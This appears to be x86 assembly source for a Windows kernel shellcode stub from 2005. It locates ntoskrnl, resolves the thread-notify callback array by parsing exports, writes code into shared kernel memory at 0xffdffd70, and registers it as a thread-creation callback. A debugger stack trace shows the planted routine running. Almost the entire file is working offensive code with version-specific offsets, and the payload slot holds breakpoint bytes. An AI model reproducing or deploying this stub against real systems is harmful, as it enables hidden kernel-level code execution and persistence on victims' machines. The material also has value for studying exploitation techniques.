bits 32 ; ; 11/2005 ; ; This stub implements the following algorithm: ; ; - Find the base address of ntoskrnl.exe ; - Find PspCreateThreadNotifyRoutine ; - Via PsRemoveCreateThreadNotifyRoutine (XP, 2003) ; - Via PsSetCreateThreadNotifyRoutine (2000) ; - Copy code to 0xffdffd70 ; - Install notify routine directly ; - Perform safe cleanup ; ; kd> kv ; ChildEBP RetAddr Args to Child ; WARNING: Frame IP not in any known module. Following frames may be wrong. ; fa952c58 805d96ca 0000025c 00000270 00000000 0xffdffd70 ; fa952d08 8056bf03 00000000 808db580 00000000 nt!PspExitThread+0xc6 (FPO: [Non-Fpo]) ; fa952d28 8056c7bd 808db580 00000000 fa952d64 nt!PspTerminateThreadByPointer+0x50 (FPO: [Non-Fpo]) ; fa952d54 804d4e91 00000000 00000000 00000000 nt!NtTerminateProcess+0x116 (FPO: [Non-Fpo]) ; fa952d54 7ffe0304 00000000 00000000 00000000 nt!KiSystemService+0xc4 (FPO: [0,0] TrapFrame @ fa952d64) ; 0006fda8 77f7f3cf 77e75ca4 ffffffff 00000000 SharedUserData!SystemCallStub+0x4 (FPO: [0,0,0]) ; 0006fdac 77e75ca4 ffffffff 00000000 77c4299a ntdll!ZwTerminateProcess+0xc (FPO: [2,0,0]) ; 0006fea4 77e75cc6 00000000 77e8f3b0 ffffffff kernel32!_ExitProcess+0x57 (FPO: [Non-Fpo]) ; 0006feb8 77c379c8 00000000 77c37ad9 00000000 kernel32!ExitProcess+0x11 (FPO: [Non-Fpo]) ; 0006fec0 77c37ad9 00000000 77e79c3d 77c37aea msvcrt!__crtExitProcess+0x2f (FPO: [1,0,0]) ; 0006fecc 77c37aea 00000000 00000000 00000000 msvcrt!_cinit+0xe4 (FPO: [2,0,1]) ; 0006fedc 01004b36 00000000 0100e478 00000000 msvcrt!exit+0xe (FPO: [1,0,1]) ; 0006fee4 0100e478 00000000 000001be 00000000 net1!MyExit+0xf (FPO: [1,0,0]) ; 0006ff18 01004b20 00000000 00000000 02100248 net1!NetcmdExit+0x6f (FPO: [Non-Fpo]) ; 0006ff44 0100e0b1 00000000 00000000 002629a0 net1!main+0x266 (FPO: [Non-Fpo]) ; 0006ffc0 77e7eb69 03010302 02100248 7ffdf000 net1!mainCRTStartup+0x125 (FPO: [Non-Fpo]) ; 0006fff0 00000000 0100df8c 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo]) ; ; ; This won't work out of the box on windows 2000 because ; PspCreateThreadNotifyRoutine is an array of function pointers ; instead of an array of callback structure pointers. Easy ; to fix up though. Could even make it cross compatible without ; much overhead ; ShldrThreadNotify: mov eax, [0xffdff12c] FindNtoskrnlBase: dec eax xor ax, ax cmp word [eax], 0x5a4d jnz FindNtoskrnlBase CheckOsVersion: cmp byte [0xffdf0270], 0x0 je OsVer2000 OsVerXP: push byte 0x6 push byte 0x13 jmp short ResolveSymbol OsVer2000: push byte 0x8 push byte 0x10 ResolveSymbol: ; ebp = base, esi = names table pop edx cld xor ecx, ecx xchg eax, ebp mov edi, [ebp + 0x3c] mov edi, [ebp + edi + 0x78] add edi, ebp mov esi, [edi + 0x20] add esi, ebp FindSymbol: lodsd inc ecx add eax, ebp cmp dword [eax+edx], 0x746f4e64 ; dNot jnz FindSymbol GetSymbolAddress: dec ecx mov ebx, [edi + 0x24] add ebx, ebp mov cx, [ebx + ecx * 2] mov ebx, [edi + 0x1c] add ebx, ebp mov eax, [ebx + ecx * 4] add eax, ebp FoundSymbol: pop ecx mov eax, dword [eax + ecx] CopyCode: mov dword [0xffdffd6c], 0xffdffd70 mov dword [0xffdffd70], 0xcccccccc SetNotifyRoutine: mov dword [eax], 0xffdffd6c inc dword [eax+0x20] Cleanup: ret